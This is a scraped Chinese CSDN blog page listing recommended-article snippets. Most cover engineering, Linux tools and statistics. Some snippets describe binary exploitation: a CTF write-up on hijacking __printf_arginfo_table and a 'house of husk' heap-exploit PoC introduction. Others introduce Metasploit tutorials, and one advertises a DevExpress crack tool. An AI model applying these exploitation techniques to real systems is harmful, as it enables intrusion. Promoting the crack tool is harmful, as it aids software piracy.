本文聚焦有限元分析中决定仿真精度的关键环节,详细讲解了如何利用ANSYS Workbench对关键区域进行网格质量检查与优化。文章提供了从思维转变、实战操作到指标解读的完整流程,强调通过命名选择、Worksheet过滤器等工具实现定向检查,并给出了针对结构分析的关键区域网格质量阈值建议,帮助工程师提升仿真结果的可靠性与效率。

weixin_29200741的博客 470

ADS实战指南:负载牵引(Loadpull)在射频功放设计中的关键应用

本文深入解析了负载牵引(Loadpull)技术在射频功率放大器设计中的核心作用与实战方法。通过生动的比喻和详细的ADS软件操作指南,阐述了如何通过系统扫描负载阻抗,在史密斯圆图上绘制等功率线与等效率线,从而精准找到最优阻抗点,以平衡输出功率与效率,是应对5G等现代通信系统严苛要求的必备技能。

weixin_29198045的博客 604

gcc/g++ 编译与链接(2)

一、前言: 这里主要理清楚两个问题: 问题一、第三方程序引用的静态库(.a文件)依赖于其他动态库(.so文件)时编译此第三方文件要链接.a依赖的.so吗? 问题二、上述情况 程序所运行的机器是否一定要有.a所依赖的那些动态库在现场? 问题一: 这个问题详细的描述就是。假设libXXX.a用了libpthread.so的函数“pthread_create”,那libXXX.a在链接时,有没有把“pthread_create”函数copy到自己身上,使其完全独立?main.c在链接时,只需要链接.

mijichui2153的博客 981

银行业数据科学家的 6 条经验教训

原本希望在计算机科学、统计学和机器学习领域工作。运用新方法获得独特见解,实现一切自动化。简而言之,最终成了这个职业炒作的牺牲品。我想和你们分享一下。希望我们能够摆脱炒作,提高你对数据科学家工作的理解。

茶桁专栏 248

Perl命令常用选项

-e:告诉perl在其后的命令行里查找运行代码。当然只能用于输入一行代码执行,如果要运行的代码不止一行,参数就变了。 xk@linux:~/work> perl -e 'print "hello!"n";' hello! xk@linux:~/work> -:告诉perl在其后的命令行里查找运行代码,直到遇到__END__为止。 xk@linux:~/work> per...

weixin_30256901的博客 478

《30天入门 SAP BTP 开发》教程的目录和使用说明,建议收藏

本教程分为两部分:第一部分为SAP BTP入门系列,包含从基础概念到操作步骤的系统性学习内容,建议零基础用户按顺序学习;第二部分为专题文章集合,涵盖SAP BTP的多个技术点,适合已有基础的用户按需查阅。教程包含账号申请、Global Account操作、Java应用开发、AI工具使用等丰富内容,同时解答常见问题并提供实战案例。所有文章均附带详细链接,便于读者系统学习或针对性查阅。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 4410

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

计算机是如何处理中文的(九)

2.5.       编程注意事项 编程或构造一个系统前,通常需要注意国际化和本地化的问题。 维基百科上讲 [1]: 国际化是指在设计软件,将软件与特定语言及地区脱钩的过程。当软件被移植到不同的语言及地区时,软件本身不用做内部工程上的改变或修正。本地化则是指当移植软件时,加上与特定区域设置有关的信息和翻译文件的过程。国际化和本地化之间的区别虽然微妙,但却很重要。国际化意味着产品有适用于任何地

那海蓝蓝的博客 415

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

nmon监控linux遇到的坑- - -segmentation fault

nmon监控linux遇到的坑- - -segmentation fault 简单介绍下,Nmon是一款计算机性能系统监控工具,因为它免费,体积小,安装简单,耗费资源低,广泛应用于AIX和Linux系统。 1、下载–直接百度nmon,选择nmon for linux,在官网首页选择下载二进制文件 链接:http://nmon.sourceforge.net/pmwiki.php?n=Site.Download 下载出来的是tar.gz,在windows系统中直接解压,解压出来里面有很多linux版本(总有一

欢迎来到谷雨飞鱼的博客 1008

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

贝叶斯统计 [韦来生编]

贝叶斯(Bayes)统计是近几十年来迅速发展起来的数理统计的一个重要分支。贝叶斯方法与经典统计方法的主要不同之处是进行统计推断时除了利用样本信息外,还要利用参数的先验信息,因此可以提高统计推断或统计决策的效果。它在经济、金融、生物、医学、自然科学和社会科学等许多领域具有广泛的应用。贝叶斯方法的研究已渗透到了统计学的几乎所有领域。作者在给中国科学技术大学概率论与数理统计专业本科生开设的“数理统计”课程中有一章专门讲授“贝叶斯方法和统计决策理论”,近十年来也给中国科学技术大学概率统计专业研究生开设过几次“贝叶斯分析”课。本书是在对过去讲稿的内容作了适当的增减和调整的基础上完成的。  本书共分六章。第1章是绪论,介绍了贝叶斯统计的若干基本概念,同时对必要的数理统计的基础知识有重点地作了回顾。第二章介绍了确定先验分布的若干可供选择的方法。第三章介绍了几类常见统计模型参数的后验分布的主要结果和计算方法。第四章和第五章分别介绍了“贝叶斯统计推断”和“贝叶斯统计决策”的内容。第六章介绍了贝叶斯统计计算的若干方法,包括蒙特卡洛方法和马尔可夫链蒙特卡洛(MCMC)方法以及相关统计软件的简介。本书的每一章附右大量的例题和习题,书末附有常用的几个表格和部分习题解答供读者查用。  大约可在54学时内讲授本书的第1章至第六章的主要内容,教师可根据学时需要选讲本书第1章至第六章的部分内容。书中标“*”号的章节可略去不讲,留给读者作为阅读材料。第六章例题中的R代码和部分例题的数据文件等可从作者个人主页下载。  作者在编写本书的过程中参考了J.O.Berger教授的《统计决策论及贝叶斯分析》和茆诗松教授编写的《贝叶斯统计》等书中的一些内容,以及《贝叶斯分析》一书中由张伟平博士编写的有关贝叶斯统计计算的一些内容。在此表示衷心感谢。  本书编写准备过程中,中国科学技术大学统计与金融系的几个研究生帮助完成了本书部分中文的录入和排版,作者对他们的辛勤工作表示真诚的感谢。高等教育出版社为本书的出版给予了大力支持。在此一并致谢。

LC_MESSAGES、语言文件po和mo互相转换

LANGUAGE, LC_ALL, LC_MESSAGES, LANG zz- -   关于这几个环境变量一般认为它们的作用是用来指定程序用户界面语言而且这几个环境变量的优先级是从左到右依次降低的大概的这么理解一下,也没什么太大问题不过其实是不很准确的它们是否起作用还和程序调用某些函数的方式有关主要有这么一些函数:setlocale(), textdomain()/bindtextdomain()

深之JohnChen的专栏 1万+

linux perf - 性能测试和优化工具

Perf简介 Perf是Linux kernel自带的系统性能优化工具。虽然它的版本还只是0.0.2,Perf已经显现出它强大的实力,足以与目前Linux流行的OProfile相媲美了。 Perf 的优势在于与Linux Kernel的紧密结合,它可以最先应用到加入Kernel的new feature。而像OProfile, GProf等通常会“慢一拍”。Perf的基本原理跟OProfile等...

weixin_34314962的博客 427

X-nuca_2018_revenge(控制程序流程的新姿势+多字节的xchg指令会清零寄存器高位)

X-nuca_2018_revenge(多字节的xchg指令会清零寄存器高位) 首先,检查一下程序的保护机制 然后,我们用IDA分析一下,bss上存在无限溢出 由于该程序是静态编译,我们可以覆盖到下方某些函数指针,我们可以将__printf_arginfo_table虚表指针覆盖,指向我们可控的地方。 这样printf调用时,就调用相应的函数,但是rdi、rsi、rsp这些不可控 这时有一个巧妙的方法,我们让程序执行到 000000000046B9A8 mov rbx, ...

seaaseesa的博客 790

linux下几种目标文件的分析

本文中用到的命令: gcc -c addvec.c 生成可重定位目标文件addvec.o readelf addvec.o -a 读取可重定位目标文件addvec.o gcc -O2 -c main.c 生成可重定位目标文件main.o gcc -static -o vecadd addvec.o main.o 链接目标文件addvec.o,生成可执行文件...

weixin_30338461的博客 867

【pwn】house of husk

1、house of husk 源码分析见参考链接1,可以理解为 printf 针对不同的第一个格式化字符的 vtable,目标就是满足执行此处的条件,同时修改 table 中格式化字符对应的指针处为 onegadget,最后 printf("%格式化字符", 0) 来触发。具体调试 poc.c : /** * This is a Proof-of-Concept for House of Husk * This PoC is supposed to be run with libc-2.27. */ #i

weixin_43960998的博客 920

Perf -- Linux下的系统性能调优工具介绍

Perf简介 Perf是Linux kernel自带的系统性能优化工具。虽然它的版本还只是0.0.2,Perf已经显现出它强大的实力,足以与目前Linux流行的OProfile相媲美了。 Perf的优势在于与Linux Kernel的紧密结合,它可以最先应用到加入Kernel的new feature。而像OProfile, GProf等通常会“慢一拍”。Perf的基本原理跟OProfile等类似,也是在CPU的PMU registers中Get/Set performance counters来获得诸如in

专注Linux开发 3万+

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

Metasploit Framework all part 1-3

Metasploit Framework, Part 1 Pukhraj Singh, K.K. Mookhey 2004-07-12 <!--This article provides an elaborate insight into the Open Source exploit framework, the Metasploit Fra

FreeXploiT 7212

强大溢出工具包:Metasploit命令行下的使用 (转至77169)

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到

FreeXploiT 7174
上一篇: 【分析】非安全编程演示之高级缓冲区溢出篇
下一篇: 【分析】非安全编程演示之格式化字符串篇version1.1
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值